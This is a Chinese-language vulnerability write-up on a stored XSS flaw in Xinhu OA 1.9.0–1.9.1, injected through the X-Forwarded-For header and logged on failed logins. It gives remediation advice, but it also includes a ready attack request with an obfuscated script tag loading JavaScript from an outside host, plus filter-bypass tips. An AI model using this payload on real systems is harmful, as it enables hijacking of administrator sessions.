信呼OA存储型XSS 0day复现
字数 1126
更新时间 2025-08-25 22:58:55

信呼OA存储型XSS漏洞分析与复现教学文档

0x00 漏洞概述

本漏洞是信呼OA系统(v1.9.0~1.9.1)中存在的一个存储型XSS漏洞,由掌控安全讲师风哥发现。该漏洞利用登录日志记录功能,通过伪造X-Forwarded-For头注入恶意脚本,导致存储型XSS攻击。

0x01 受影响版本

  • 信呼OA v1.9.0
  • 信呼OA v1.9.1

0x02 环境准备

  1. 下载信呼OA v1.9.0或v1.9.1版本:

    • 官网:http://www.rockoa.com/
    • GitHub:https://github.com/rainrocka/xinhu
  2. 搭建测试环境(PHP+MySQL环境)

0x03 漏洞分析

漏洞位置

  1. 登录处理文件:webmain/model/loginMode.php
  2. 日志记录功能:logModel.php
  3. 数据库操作:mysql.php

漏洞原理

  1. 登录失败时,系统会调用addlogs函数记录登录日志
  2. 日志记录内容包括客户端IP地址
  3. IP地址从X-Forwarded-For头中获取,未做充分过滤
  4. 恶意构造的XSS代码通过X-Forwarded-For头被记录到数据库中
  5. 后台查看日志时触发XSS

0x04 漏洞复现步骤

步骤1:搭建测试环境

  1. 安装信呼OA v1.9.0或v1.9.1
  2. 完成初始配置,设置管理员账号

步骤2:触发漏洞

  1. 访问登录页面
  2. 使用Burp Suite或其他工具拦截登录请求
  3. 构造恶意请求:
POST /login HTTP/1.1
Host: target.com
X-Forwarded-For: <sCRiPt/SrC=////xs.sb/Jwdu>
Content-Type: application/x-www-form-urlencoded

usname=admin&paword=wrongpassword

步骤3:验证漏洞

  1. 使用管理员账号登录后台
  2. 访问日志查看页面
  3. 观察XSS是否触发(弹窗或执行恶意代码)

0x05 漏洞代码分析

关键代码段1:loginMode.php (209-215行)

// 登录失败时记录日志
if(!$success){
    $this->addlogs('登录', '登录失败', array(
        'user' => $user,
        'pass' => $pass,
        'ip'   => $this->rock->ip
    ));
}

关键代码段2:logModel.php

// 添加日志函数
public function addlogs($mod, $type, $data=array())
{
    $arr = array(
        'mod' => $mod,
        'type'=> $type,
        'ip' => $this->rock->ip, // 从X-Forwarded-For获取IP
        // 其他日志字段...
    );
    $this->insert($arr);
}

关键代码段3:mysql.php

// 数据库插入操作
public function insert($data)
{
    // 构造SQL语句并执行
    // 未对$data['ip']进行XSS过滤
}

0x06 漏洞利用技巧

  1. XSS代码构造

    • 使用大小写混淆绕过简单过滤:<sCRiPt>
    • 使用斜杠混淆:<sCRiPt/SrC=
    • 使用多个斜杠防止转义:////xs.sb/Jwdu>
  2. 利用限制

    • 需要触发登录失败才会记录日志
    • 需要管理员查看日志才能触发
  3. 绕过技巧

    • 使用短域名服务缩短XSS payload
    • 使用编码技术绕过可能的过滤

0x07 修复建议

  1. X-Forwarded-For头进行严格过滤
  2. 对日志记录内容进行HTML实体编码
  3. 升级到最新版本(检查是否有官方补丁)
  4. 实施内容安全策略(CSP)

0x08 总结

该存储型XSS漏洞利用信呼OA系统登录日志记录功能的不安全实现,通过伪造HTTP头注入恶意脚本。漏洞利用需要触发登录失败并诱导管理员查看日志,但一旦成功可导致严重的后果,如窃取管理员会话、控制后台等。

相似文章
相似文章
 全屏